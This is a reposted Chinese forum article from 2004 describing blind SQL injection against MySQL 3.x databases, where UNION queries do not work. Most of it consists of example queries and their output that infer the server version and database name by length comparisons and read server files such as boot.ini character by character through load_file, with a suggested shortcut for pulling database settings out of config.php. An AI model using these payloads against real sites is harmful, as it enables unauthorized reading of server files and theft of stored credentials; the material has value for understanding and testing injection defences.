首页 电脑 电脑学堂 查看内容

关于mysql 3.0的注射的一点思路

2004-11-20 07:07 617 0

摘要: by superhei  from:http://www.4ngel.net 对mysql的注射主要是靠union 的联合查询,但union只对版本4。0以上的有...
关键词: nbsp userid select where user mysql union 字符 工作量 length

by superhei  from:http://www.4ngel.net 对mysql的注射主要是靠union 的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。。。。。。 所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file 但是也不可以直接使用union替换出来。 下面就是我的一点思路: 得到版本: mysql> select * from user where userid=1 and length(version())<10; Empty set (0.00 sec) mysql> select * from user where userid=1 and length(version())<1777; +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ |      1 | angel    | mypass   | +--------+----------+----------+ 1 row in set (0.00 sec) 得到当前数据库: mysql> select * from user where userid=1 and length(database())>0; +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ |      1 | angel    | mypass   | +--------+----------+----------+ 1 row in set (0.00 sec) 暴取文件代码: mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))<1; Empty set (0.05 sec) mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))>1; +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ |      1 | angel    | mypass   | +--------+----------+----------+ 1 row in set (0.00 sec) 因为工作量大,可以用程序来实现(不过也很麻烦) 另外思路: 可以先使用字符处理函数得到"特殊字符的位置",如我们暴的是config.php文件我们就可以选取"localhost"(或其他)为特殊字符,先得到所在的位置(在哪个字节),在去猜它附近的,这样可以省去不少工作量。(未测试)  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部